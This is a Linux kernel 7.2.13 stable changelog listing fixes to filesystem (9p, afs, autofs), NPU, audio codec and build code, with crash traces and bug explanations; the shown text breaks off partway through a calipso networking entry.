Changelog in Linux kernel 7.2.13

 
9p: free the session after a grace period [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Fri Oct 9 23:51:53 2026 +0200

    9p: free the session after a grace period
    
    commit bcec7fc2e224088daf94448d663b02e0d0b9c717 upstream.
    
    v9fs_vfs_get_link_dotl() reads ->cache from the v9fs_session_info in
    sb->s_fs_info to decide whether the symlink target sits in the page
    cache. It does that before it looks at the dentry, so it also does it in
    rcu pathwalk mode. Without loose or metadata caching the dentries have
    no ->d_revalidate() that would make the walk leave rcu mode before it
    gets there.
    
    v9fs_kill_super() frees the session and clears sb->s_fs_info without
    waiting for a grace period. Right now a pathwalk can't still be in
    v9fs_vfs_get_link_dotl() at that point, but only by accident. umount(2)
    waits for a grace period in namespace_unlock() before it drops the
    mount. And a mount whose last reference goes away elsewhere, like the
    chdir out of a lazily unmounted directory, still gets a grace period
    from bdi_unregister(). v9fs_fill_super() sets up a private bdi, so
    generic_shutdown_super() unregisters it from kill_anon_super() and
    bdi_remove_from_list() waits in synchronize_rcu_expedited() before
    v9fs_kill_super() frees the session. That grace period protects the rcu
    readers of bdi_list in the writeback code. It has nothing to do with
    pathwalk.
    
    Don't rely on it. Keep sb->s_fs_info and free the session after a grace
    period.
    
    Fixes: 712da38d134b ("9p: Enable symlink caching in page cache")
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-3-7446d2d335e6@kernel.org
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
accel/amdxdna: Fix Kconfig invalid configuration [+ + +]
Author: Liam R. Howlett <liam@infradead.org>
Date:   Thu Oct 8 21:10:10 2026 -0400

    accel/amdxdna: Fix Kconfig invalid configuration
    
    [ Upstream commit 8240e19d329e9e1502fc96608d8afe6861e9df90 ]
    
    The amdxdna has a soft dependency on the amd_pmf module.  It will use an
    exported function if it is available and fall back to another function
    if it is not enabled.
    
    amdxdna and amd_pmf are tridstate modules supporting both built [y] and
    modularized [m] in the .config file.  Since the amdxdna decides to use
    the amd_pmf if it is either a module or built in (see
    drivers/accel/amdxdna/aie2_pci.h), then there is an issue if they are
    not compiled either both as modules or both as built-in.
    
    Adding the optional dependency to Kconfig does not allow the
    configuration from being selected.
    
    Fixes: f66d6cc6891e4 ("accel/amdxdna: Support sensors for column utilization")
    Signed-off-by: Liam R. Howlett <liam@infradead.org>
    Reviewed-by: Lizhi Hou <lizhi.hou@amd.com>
    Signed-off-by: Lizhi Hou <lizhi.hou@amd.com>
    Link: https://patch.msgid.link/20261009011010.3521631-1-liam@infradead.org
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
accel/rocket: clear rdev on device init failure [+ + +]
Author: Guangshuo Li <lgs201920130244@gmail.com>
Date:   Wed Jul 8 14:28:45 2026 +0800

    accel/rocket: clear rdev on device init failure
    
    [ Upstream commit 4ac852419f0d317c7bd8db5b8acb3cc78be7fe33 ]
    
    rocket_probe() stores the return value from rocket_device_init() in the
    file-scoped rdev pointer before checking whether it is an error pointer.
    If rocket_device_init() fails, rdev is left as an ERR_PTR.
    
    The rdev pointer is also used as the marker for whether the shared rocket
    device has already been initialized. A later core probe can therefore see
    a non-NULL rdev, skip rocket_device_init(), and dereference the error
    pointer when reading rdev->num_cores.
    
    Save the error code and clear rdev before returning from the
    rocket_device_init() failure path.
    
    Fixes: ed98261b4168 ("accel/rocket: Add a new driver for Rockchip's NPU")
    Signed-off-by: Guangshuo Li <lgs201920130244@gmail.com>
    Reviewed-by: Igor Paunovic <royalnet026@gmail.com>
    Signed-off-by: Heiko Stuebner <heiko@sntech.de>
    Link: https://patch.msgid.link/20260708062845.716487-1-lgs201920130244@gmail.com
    Signed-off-by: Sasha Levin <sashal@kernel.org>

accel/rocket: search every core slot when a core is removed [+ + +]
Author: Igor Paunovic <royalnet026@gmail.com>
Date:   Fri Sep 4 14:59:36 2026 +0200

    accel/rocket: search every core slot when a core is removed
    
    commit 6eff1d69dae808a1518aee5a58d0853a8db3f1be upstream.
    
    rocket_remove() decrements rdev->num_cores for each core it removes,
    while find_core_for_dev() searches slots 0 to num_cores - 1. Unbinding
    the cores in the order they were bound therefore loses the last one: by
    the time it is removed the search range has already shrunk past its
    slot, so find_core_for_dev() returns -1 and rocket_remove() gives up
    without doing anything.
    
    num_cores never reaches zero, rocket_device_fini() never runs, and the
    file-scoped rdev keeps pointing at a device that is going away. Binding
    the cores again starts from that stale count, because rocket_probe()
    takes rdev->num_cores as the slot to fill. On an RK3588, which describes
    three cores, the second round lands on slots 1, 2 and 3 while rdev->cores
    was allocated with room for three:
    
      rocket fdab0000.npu: Rockchip NPU core 1 version: 1179210309
      rocket fdac0000.npu: Rockchip NPU core 2 version: 1179210309
      rocket fdad0000.npu: Rockchip NPU core 3 version: 1179210309
    
    The write to rdev->cores[3] is past the end of the array.
    
    Nothing in tree reads the core array often enough to notice, so the
    overrun is silent today. It turned up while testing a devfreq series on
    top of this, where a worker walks every core a few times a second, and
    UBSAN caught the first bool it read out of the overrun entry:
    
      UBSAN: invalid-load in drivers/accel/rocket/rocket_devfreq.c:47:10
      load of value 5 is not a valid value for type '_Bool'
      Workqueue: devfreq_wq devfreq_monitor
    
    Record how many slots were allocated and search all of them. Every core
    is then found on removal, num_cores reaches zero, the device is torn down
    and a later bind starts from a clean rdev.
    
    This does not make unbinding a single core out of several work. probe
    still takes num_cores as the slot to fill, so rebinding one core while
    its siblings stay bound would write over a slot that is already in use,
    and rocket_open() still reaches for cores[0] whether or not anything is
    there. Both of those want more thought than a fix should carry.
    
    Found by unbinding and rebinding all three cores on an Orange Pi 5 Plus.
    With this applied, 25 unbind/rebind rounds and 5 module unload/reload
    rounds run clean there: the cores land in slots 0, 1 and 2 every time,
    whichever order they are bound in, and the shared supply goes back to a
    single user after each round.
    
    Fixes: ed98261b4168 ("accel/rocket: Add a new driver for Rockchip's NPU")
    Cc: stable@vger.kernel.org
    Signed-off-by: Igor Paunovic <royalnet026@gmail.com>
    Assisted-by: LLM sparse checkpatch
    Tested-by: Jiaxing Hu <gahing@gahingwoo.com> # RK3576, two cores
    Tested-by: Sidong Yang <sidong.yang@furiosa.ai> # RK3588, 3 cores
    Signed-off-by: Heiko Stuebner <heiko@sntech.de>
    Link: https://patch.msgid.link/20260904125936.26234-1-royalnet026@gmail.com
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

accel/rocket: search every core slot when looking up a scheduler [+ + +]
Author: Igor Paunovic <royalnet026@gmail.com>
Date:   Sat Sep 5 17:04:32 2026 +0200

    accel/rocket: search every core slot when looking up a scheduler
    
    commit 89c2c777df17eb0201c8e22afabbf3691f2a28fe upstream.
    
    sched_to_core() walks rdev->cores[] up to rdev->num_cores, and
    rocket_remove() decrements num_cores for every core it removes. Unbind a
    core that is not the last one and the cores behind it fall outside the
    search, so sched_to_core() returns NULL for a core that is still bound and
    still running jobs. Neither caller checks the result:
    
      rocket_job_run():      rocket_fence_create(core), core->dev
      rocket_job_timedout(): dev_err(core->dev, "NPU job timed out")
    
    Unbinding the middle core of the three on an RK3588 while three clients are
    submitting to all of them faults twice, once from the surviving core's
    job queue and once from its reset work:
    
      KASAN: null-ptr-deref in range [0x0000000000000220-0x0000000000000227]
      Workqueue: fdad0000.npu drm_sched_run_job_work [gpu_sched]
      pc : rocket_job_run+0x234/0x838 [rocket]
      Call trace:
       rocket_job_run+0x234/0x838 [rocket]
       drm_sched_run_job_work+0x2cc/0xad8 [gpu_sched]
       process_one_work+0x640/0x14f0
    
      KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
      Workqueue: rocket-reset-2 drm_sched_job_timedout [gpu_sched]
      pc : rocket_job_timedout+0xf0/0x1e0 [rocket]
      Call trace:
       rocket_job_timedout+0xf0/0x1e0 [rocket]
       drm_sched_job_timedout+0x188/0x6a0 [gpu_sched]
    
    Both are the third core: the workqueue names are its device and its
    core->index, and it was left at slot 2 while num_cores had dropped to 2.
    
    Search all the slots that were allocated, the way find_core_for_dev() now
    does. A core that is still bound is then found, and the two callers get
    the pointer they already assume they have.
    
    This does not make unbinding one core out of several safe. An open client
    keeps an entity pointing at the scheduler of the core that went away:
    drm_sched reports it as not ready for every job that lands on it, and the
    client waits in dma_fence_default_wait for a fence that will never signal.
    Stopping the NULL dereference is what belongs in a fix; the rest wants
    more thought.
    
    Reported-by: Sidong Yang <sidong.yang@furiosa.ai>
    Closes: https://lore.kernel.org/dri-devel/apwUewaRnoTNXHCt@rock-5b-plus/
    Fixes: 0810d5ad88a1 ("accel/rocket: Add job submission IOCTL")
    Cc: stable@vger.kernel.org
    Signed-off-by: Igor Paunovic <royalnet026@gmail.com>
    Assisted-by: LLM sparse checkpatch
    Signed-off-by: Heiko Stuebner <heiko@sntech.de>
    Link: https://patch.msgid.link/20260905150432.7477-1-royalnet026@gmail.com
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
afs: free the super info after a grace period [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Fri Oct 9 23:51:52 2026 +0200

    afs: free the super info after a grace period
    
    commit 59e483739f2fd14327ece3f60c4995d060ca46b7 upstream.
    
    afs_atcell_get_link() resolves the @cell and .@cell symlinks of a
    dynamic root in rcu pathwalk mode. Before it looks at the dentry it gets
    the afs_net through afs_i2net(), which reads ->net_ns from the
    afs_super_info in sb->s_fs_info. The @cell dentries are kept around when
    unused and the dynamic root has no ->d_revalidate(), so a lookup that
    finds @cell in the dcache gets to ->get_link() in rcu mode.
    
    afs_kill_super() frees the afs_super_info with a plain kfree() in
    afs_destroy_sbi(). Right now a pathwalk can't still be in
    afs_atcell_get_link() at that point, but only by accident. umount(2)
    waits for a grace period in namespace_unlock() before it drops the
    mount. And a mount whose last reference goes away elsewhere, like the
    chdir out of a lazily unmounted directory, still gets a grace period
    from bdi_unregister(). afs_fill_super() sets up a private bdi, so
    generic_shutdown_super() unregisters it from kill_anon_super() and
    bdi_remove_from_list() waits in synchronize_rcu_expedited() before
    afs_destroy_sbi() runs. That grace period protects the rcu readers of
    bdi_list in the writeback code. It has nothing to do with pathwalk.
    
    Don't rely on it and free the afs_super_info after a grace period.
    
    Fixes: 30bca65bbbae ("afs: Make /afs/@cell and /afs/.@cell symlinks")
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-2-7446d2d335e6@kernel.org
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
ARM: configs: sama5: enable current Microchip KSZ DSA symbols [+ + +]
Author: Pengpeng Hou <pengpeng@iscas.ac.cn>
Date:   Fri Aug 14 15:53:10 2026 +0800

    ARM: configs: sama5: enable current Microchip KSZ DSA symbols
    
    [ Upstream commit afb1ecfeda3fc31d6300a176f4854cc62e289bf3 ]
    
    The Microchip KSZ DSA family now uses NET_DSA_MICROCHIP_KSZ_COMMON
    for the common provider and NET_DSA_MICROCHIP_KSZ_SPI for SPI-attached
    switches.
    
    sama5_defconfig still enables the removed KSZ9477-specific symbols even
    though SAMA5 device trees contain KSZ SPI switch consumers. Replace the
    stale entries with the current provider symbols.
    
    Assisted-by: Codex:gpt-5
    Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
    Fixes: 07bca160469b ("net: dsa: microchip: common menuconfig for ksz series switch")
    Fixes: 4658f2fe8fbc ("net: dsa: microchip: common ksz_spi_probe for ksz switches")
    Reviewed-by: Claudiu Beznea <claudiu.beznea@tuxon.dev>
    Link: https://lore.kernel.org/r/20260814075310.11613-1-pengpeng@iscas.ac.cn
    Signed-off-by: Claudiu Beznea <claudiu.beznea@tuxon.dev>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition [+ + +]
Author: David Oberhollenzer <david.oberhollenzer@sigma-star.at>
Date:   Thu Jul 16 13:39:47 2026 +0200

    ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition
    
    [ Upstream commit 2fabd2f406d0cf787be47b3bbeea99b30004033d ]
    
    Commit d0bdd8bb7f35 ("ARM: dts: ti/omap: dra7: fix redundant
    clock divider definition") removes the clock divider definition
    from optfclk_pciephy_div, reasoning that the table is redundant,
    as it contains the values 1 and 2, while also setting ti,max-div
    to 2 while ti,min-div is implicitly initialized to 1.
    
    What that commit missed was the fact that the values in the table
    are in reverse order, i.e. first 2, then 1.
    
    As is clearly described in the documentation, the ordering is
    signifficant, the actual values for the register setting are
    derived from the index. If no table is specified, the driver
    assumes that the register value is divider - 1 (see also `_get_val`
    in `drivers/clk/ti/divider.c`).
    
    What is in fact redundant is the value of ti,max-div that is
    derived from the table if none is specified. To satisfy device
    tree semantic linters, it is removed instead.
    
    Fixes: d0bdd8bb7f35 ("ARM: dts: ti/omap: dra7: fix redundant clock divider definition")
    Signed-off-by: David Oberhollenzer <david.oberhollenzer@sigma-star.at>
    Link: https://patch.msgid.link/20260716113947.92513-1-david.oberhollenzer@sigma-star.at
    Signed-off-by: Kevin Hilman (TI) <khilman@baylibre.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
ASoC: amd: yc: disable MSI on resume [+ + +]
Author: Mario Limonciello <mario.limonciello@amd.com>
Date:   Tue Oct 13 07:54:23 2026 -0500

    ASoC: amd: yc: disable MSI on resume
    
    [ Upstream commit 2a31b5378c6db9c4a8d399e5d10d32cd4b732bef ]
    
    BIOS/firmware may re-enable MSI in PCI config space during system
    resume even though this driver only uses legacy INTx interrupts. If MSI
    is left enabled with stale address and data registers, the device can
    write interrupts to a bogus address and cause an IOMMU IO_PAGE_FAULT.
    
    Clear the MSI Enable bit before reinitializing ACP hardware on system
    resume. Keep runtime resume separate because firmware does not restore
    PCI configuration on that path.
    
    Fixes: c8212df7bc0f ("ASoC: amd: add acp6x pci driver pm ops")
    Reported-by: Marek Borůvka <boruvka.marek@gmail.com>
    Closes: https://bugzilla.kernel.org/show_bug.cgi?id=222119
    Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
    Link: https://patch.msgid.link/20261013125425.3541206-1-mario.limonciello@amd.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ASoC: cs42l52: Fix the NG Type Switch bit [+ + +]
Author: HyeongJun An <sammiee5311@gmail.com>
Date:   Thu Oct 8 22:09:48 2026 +0900

    ASoC: cs42l52: Fix the NG Type Switch bit
    
    [ Upstream commit 8b08b98796d2da103f2432550c14a7c687e72080 ]
    
    The NG Type Switch enum selects between "Apply Specific" and "Apply
    All", which is the NGALL bit. The datasheet puts NGALL at bit 7 of the
    Noise Gate Control register. The enum uses bit 6, which is NG, the
    noise gate enable owned by the NG Enable Switch. cs42l52.h names it
    CS42L52_NG_ENABLE_SHIFT. cs42l56 has the same Noise Gate register and
    puts its NG All Switch at bit 7.
    
    So changing the noise gate type turns the noise gate on or off, and
    NGALL cannot be set.
    
    Use bit 7.
    
    Fixes: dfe0f98b8d2e ("ASoC: Add support for CS42L52 Codec")
    Link: https://statics.cirrus.com/pubs/proDatasheet/CS42L52_F2.pdf
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
    Link: https://patch.msgid.link/20261008130953.2446692-3-sammiee5311@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ASoC: cs42l56: Put the Limiter Cushion control on the limiter register [+ + +]
Author: HyeongJun An <sammiee5311@gmail.com>
Date:   Thu Oct 8 22:09:47 2026 +0900

    ASoC: cs42l56: Put the Limiter Cushion control on the limiter register
    
    [ Upstream commit 203436d2aeb7093290459e344e1912a418a6ebfd ]
    
    The Limiter Cushion control writes bits 4:2 of the ALC Thresholds
    register. Those bits are ALCMIN, which the ALC MIN control owns. The
    datasheet puts CUSH at bits 4:2 of the Limit Thresholds Control
    register, next to LMAX, which the Limiter MAX control already uses.
    
    So setting the limiter cushion changes the ALC minimum threshold, and
    the cushion itself cannot be set.
    
    Use CS42L56_LIM_THRESHOLD_CTL.
    
    Fixes: 272b5edd3b8f ("ASoC: Add support for CS42L56 CODEC")
    Link: https://statics.cirrus.com/pubs/proDatasheet/CS42L56_F2.pdf
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
    Link: https://patch.msgid.link/20261008130953.2446692-2-sammiee5311@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ASoC: Intel: avs: Reset the stream unless it is already prepared [+ + +]
Author: Sergey Tiraspolsky <stiraspo@gmail.com>
Date:   Sat Oct 10 03:37:53 2026 -0700

    ASoC: Intel: avs: Reset the stream unless it is already prepared
    
    [ Upstream commit f6be9f558a83fe30a03bd3adae461c821a0cef8c ]
    
    Commit cfca1637bc2b ("ASoC: Intel: avs: Unprepare a stream when XRUN
    occurs") resets the HDA stream when ->prepare() is called in the XRUN
    state. User space does not always recover that way. PipeWire's ALSA
    backend recovers from an underrun with snd_pcm_drop(), snd_pcm_prepare()
    and a new start, so ->prepare() runs in the SETUP state,
    hdac_stream->prepared is still set and the reset is skipped. Every
    recovery attempt then fails the same way:
    
      spa.alsa: hw:avsmax98927,1p: snd_pcm_avail after recover: Broken pipe
    
    On a Google Pixelbook (Kaby Lake, max98927 speakers) this happens after
    an occasional underrun during normal playback and silences the speakers
    for one to four minutes, until the PCM is closed. It can be provoked by
    stopping PipeWire with SIGSTOP for 0.5 s during playback: in one run
    that single underrun led to 1297 failed recoveries over two minutes,
    until the sink was suspended. A plain alsa-lib program that recovers
    with snd_pcm_drop() and snd_pcm_prepare() hits the same loop, while
    snd_pcm_prepare() straight from XRUN recovers at once.
    
    Skip the reset only when the stream is already PREPARED, the repeated
    ->prepare() case the check exists for, and reset it otherwise. With
    this change both kinds of recovery succeed with a single restart.
    
    Fixes: cfca1637bc2b ("ASoC: Intel: avs: Unprepare a stream when XRUN occurs")
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: Sergey Tiraspolsky <stiraspo@gmail.com>
    Acked-by: Cezary Rojewski <cezary.rojewski@intel.com>
    Link: https://patch.msgid.link/20261010103753.16969-1-stiraspo@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ASoC: max98371: Fix the Speaker DHT Min Volume bits [+ + +]
Author: HyeongJun An <sammiee5311@gmail.com>
Date:   Thu Oct 8 22:09:50 2026 +0900

    ASoC: max98371: Fix the Speaker DHT Min Volume bits
    
    [ Upstream commit f7934340c56a84fc1b246ebf6b2e806d775f3b54 ]
    
    Register 0x31 holds two 4-bit fields. The datasheet puts SPK_GAIN_MIN
    at bits 7:4 and DHT_VROT_PNT at bits 3:0. The Speaker DHT Min Volume
    and Speaker DHT Rotation Volume controls both use bits 3:0.
    
    So setting the minimum speaker gain changes the DHT rotation point, and
    SPK_GAIN_MIN cannot be set.
    
    Move Speaker DHT Min Volume to bits 7:4.
    
    Fixes: ca2cd6bc6663 ("ASoC: Add max98371 codec driver")
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
    Link: https://patch.msgid.link/20261008130953.2446692-5-sammiee5311@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ASoC: nau8822: Fix the 128x oversampling switch bits [+ + +]
Author: HyeongJun An <sammiee5311@gmail.com>
Date:   Thu Oct 8 22:09:52 2026 +0900

    ASoC: nau8822: Fix the 128x oversampling switch bits
    
    [ Upstream commit 4db45fc1da3d62d0fa6e8f1e457ae92e8741ed07 ]
    
    The DAC and ADC 128x Oversampling Switches use bit 5 of R10 and R14.
    The NAU8822 datasheet register map puts DACOS and ADCOS at bit 3 of
    those registers.
    
    In R14, bit 5 is inside HPF[6:4], which the High Pass Cut Off control
    owns. So turning on ADC oversampling changes the high pass cut-off, and
    the oversampling bit cannot be set. In R10, bit 5 is reserved, so the
    DAC switch has no effect.
    
    Use bit 3 for both.
    
    Fixes: 1e3cb6c321be ("ASoC: nau8822: new codec driver")
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
    Link: https://patch.msgid.link/20261008130953.2446692-7-sammiee5311@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ASoC: pcm3168a: Fix the DAC zero flag polarity bit [+ + +]
Author: HyeongJun An <sammiee5311@gmail.com>
Date:   Thu Oct 8 22:09:49 2026 +0900

    ASoC: pcm3168a: Fix the DAC zero flag polarity bit
    
    [ Upstream commit b26edc925c1cfa0184cd270ed81d4833db045ce0 ]
    
    The DAC Zero Flag Polarity enum uses PCM3168A_DAC_ATSPDA_SHIFT, which
    is bit 6 of register 70. That bit is ATSPDA, the attenuation speed,
    which the DAC Volume Rate Multiplier enum already owns. The datasheet
    puts ZREV, the zero flag polarity, at bit 0. The header defines
    PCM3168A_DAC_ZREV_SHIFT for it, but nothing uses it.
    
    So changing the zero flag polarity changes the attenuation speed, and
    ZREV cannot be set.
    
    Use PCM3168A_DAC_ZREV_SHIFT.
    
    Fixes: a9b17a638af5 ("ASoC: pcm3168a: Add driver for pcm3168a codec")
    Link: https://www.ti.com/lit/ds/symlink/pcm3168a.pdf
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
    Reviewed-by: Cezary Rojewski <cezary.rojewski@intel.com>
    Link: https://patch.msgid.link/20261008130953.2446692-4-sammiee5311@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture [+ + +]
Author: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
Date:   Thu Oct 8 12:01:30 2026 +0300

    ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture
    
    commit 746de48c3a250f0c264105dcbfcdf0c5001e970b upstream.
    
    When ch_count is smaller than blob->alh_cfg.device_count (e.g. a mono
    capture stream, such as a SmartMic, aggregated across multiple SDW
    links), step = ch_count / blob->alh_cfg.device_count truncates to 0.
    The subsequent GENMASK(step - 1, 0) then underflows step - 1 (u32) to
    UINT_MAX, causing GENMASK()'s internal shift to use an out-of-bounds
    exponent:
    
      UBSAN: shift-out-of-bounds in sound/soc/sof/ipc4-topology.c:2363:13
      shift exponent 18446744069414584384 is too large for 64-bit type 'long unsigned int'
    
    Treat ch_count < device_count the same way as the existing "channels
    equal to output reference channels" case: apply the same ch_mask to
    every aggregated device instead of trying to split channels that
    can't be evenly divided.
    
    Fixes: 0390a102cc18 ("ASoC: SOF: ipc4-topology: use different channel mask for each sdw amp feedback")
    Cc: stable@vger.kernel.org
    Signed-off-by: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
    Reviewed-by: Bard Liao <yung-chuan.liao@linux.intel.com>
    Link: https://patch.msgid.link/20261008090130.15135-1-peter.ujfalusi@linux.intel.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ASoC: SOF: sof-client: Use event-handler mutex consistently [+ + +]
Author: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
Date:   Thu Oct 8 12:01:43 2026 +0300

    ASoC: SOF: sof-client: Use event-handler mutex consistently
    
    commit f90f8afb61beb268ca8092e7f3a826b520d3e8da upstream.
    
    Protect IPC RX and FW state handler list unregister/dispatch paths with
    client_event_handler_mutex to match list registration and locking
    comments.
    
    Fixes: 5c19da34df02 ("ASoC: SOF: Use guard()/scoped_guard() for mutex locks where it makes sense")
    Cc: stable@vger.kernel.org
    Signed-off-by: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
    Reviewed-by: Bard Liao <yung-chuan.liao@linux.intel.com>
    Link: https://patch.msgid.link/20261008090143.15158-1-peter.ujfalusi@linux.intel.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

ASoC: stm32: spdifrx: fix synchronization state check [+ + +]
Author: Avi Weiss <thnkslprpt@gmail.com>
Date:   Sun Oct 11 06:54:59 2026 +0300

    ASoC: stm32: spdifrx: fix synchronization state check
    
    [ Upstream commit 0936bbd35a247665c64886135835faa3c3f4f29f ]
    
    The interrupt handler uses a logical AND to check whether SPDIFRX
    was in the SYNC state before clearing errors. Since both SYNC (1)
    and ENABLE (3) are nonzero, this also treats ENABLE as SYNC (and
    any other non-zero value that might be added).
    
    The logical && basically just converts this to check for != 0.
    
    So errors occurring while SPDIFRX is enabled cause the driver
    to retry synch instead of disconnecting the PCM stream.
    
    Fix is to change the logical && to equality (==) and only retry
    when exactly in sync state.
    
    Fixes: 0c93c291321f2 ("ASoC: stm32: spdifrx: retry synchronization in sync state")
    Signed-off-by: Avi Weiss <thnkslprpt@gmail.com>
    Reviewed-by: Olivier Moysan <olivier.moysan@foss.st.com>
    Link: https://patch.msgid.link/20261011035459.2289403-1-thnkslprpt@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

ASoC: wm8978: Fix the 128x oversampling switch bits [+ + +]
Author: HyeongJun An <sammiee5311@gmail.com>
Date:   Thu Oct 8 22:09:51 2026 +0900

    ASoC: wm8978: Fix the 128x oversampling switch bits
    
    [ Upstream commit d0567ca9a2faa33efbe5ae84ef7b86423a93bffd ]
    
    The DAC and ADC 128x Oversampling Switches use bit 5 of R10 and R14.
    Table 66 of the WM8978 datasheet puts DACOSR128 and ADCOSR128 at bit 3
    of those registers.
    
    In R14, bit 5 is inside HPFCUT[6:4], which the High Pass Cut Off
    control owns. So turning on ADC oversampling changes the high pass
    cut-off, and the oversampling bit cannot be set. In R10, bit 5 is
    reserved, so the DAC switch has no effect.
    
    Use bit 3 for both.
    
    Fixes: 823dba519122 ("ASoC: Fix broken bitfield definitions in WM8978")
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
    Link: https://patch.msgid.link/20261008130953.2446692-6-sammiee5311@gmail.com
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
autofs: ignore notification errors from a replaced pipe [+ + +]
Author: Sung Byeongchan <tjdqudcks0424@naver.com>
Date:   Thu Oct 8 02:35:42 2026 +0900

    autofs: ignore notification errors from a replaced pipe
    
    commit 65676cd4203c0e41a94caf54080a7f0a95434bda upstream.
    
    autofs_notify_daemon() takes a reference to the current notification
    pipe under wq_mutex, then drops the mutex before writing the request. The
    write can block while the daemon enters catatonic mode and installs a
    replacement pipe.
    
    If the old pipe's reader is then closed, the delayed write returns -EPIPE
    and the generic error path enters catatonic mode again. That transition
    acts on the current superblock state, closes the replacement pipe, and
    releases the new daemon generation's wait queues.
    
    Only enter catatonic mode when the pipe which failed is still the current
    pipe. Factor the already-locked transition so the identity check and state
    change are atomic with respect to another replacement.
    
    This was reproduced on v7.3-rc5-337-gff47652a4b66c in a local QEMU guest.
    An unprivileged UID 65534 lookup filled the old packet pipe before a
    normal CATATONIC/SETPIPEFD restart. On the unmodified kernel, the new pipe
    received HUP and both a pending victim lookup and a later lookup failed
    with ENOENT in two out of two fresh-mount runs.
    
    With this change, the new pipe remained active, received an intact
    304-byte request, and both victim lookups completed in two out of two
    runs. Normal lookup and restart-without-a-blocked-writer controls passed.
    No KASAN, oops, refcount, or lock diagnostic was observed. A source
    reproducer and complete local logs are available privately on request.
    
    The demonstrated impact is limited to denial of a shared autofs service
    during a legitimate daemon restart. No memory corruption, information leak,
    privilege escalation, or code execution primitive was observed.
    
    Fixes: 8d7b48e0bc5fa ("autofs4: add miscellaneous device for ioctls")
    Cc: stable@vger.kernel.org
    Signed-off-by: Sung Byeongchan <tjdqudcks0424@naver.com>
    Link: https://patch.msgid.link/20261007173542.593624-1-tjdqudcks0424@naver.com
    Acked-by: Ian Kent <raven@themaw.net>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
bootconfig: give the footer size static_assert a message [+ + +]
Author: Sasha Levin <sashal@kernel.org>
Date:   Sun Oct 11 18:33:41 2026 -0400

    bootconfig: give the footer size static_assert a message
    
    commit a1ddc2721467fb68241372db77657fd0dcf6cda5 upstream.
    
    static_assert() without a message is a C23 feature, so clang warns:
    
      main.c:498:56: warning: '_Static_assert' with no message is a C23 extension [-Wc23-extensions]
    
    Add a message.
    
    Link: http://lkml.kernel.org/r/20261011223358.2327625-13-sashal@kernel.org
    
    Fixes: 6ed5e20466c79 ("bootconfig: Fix unaligned access when building footer")
    Cc: stable@vger.kernel.org
    Assisted-by: LLM
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
calipso: keep BIG TCP payload_len in calipso_skbuff_setattr() [+ + +]
Author: Joas Antonio dos Santos <joasantonio108@gmail.com>
Date:   Fri Oct 9 12:59:19 2026 -0300

    calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()
    
    [ Upstream commit 8070ed578b6b9134e045627fb745c887a806d46e ]
    
    calipso_skbuff_setattr() adjusts payload_len by the length of the
    option it inserts or resizes:
    
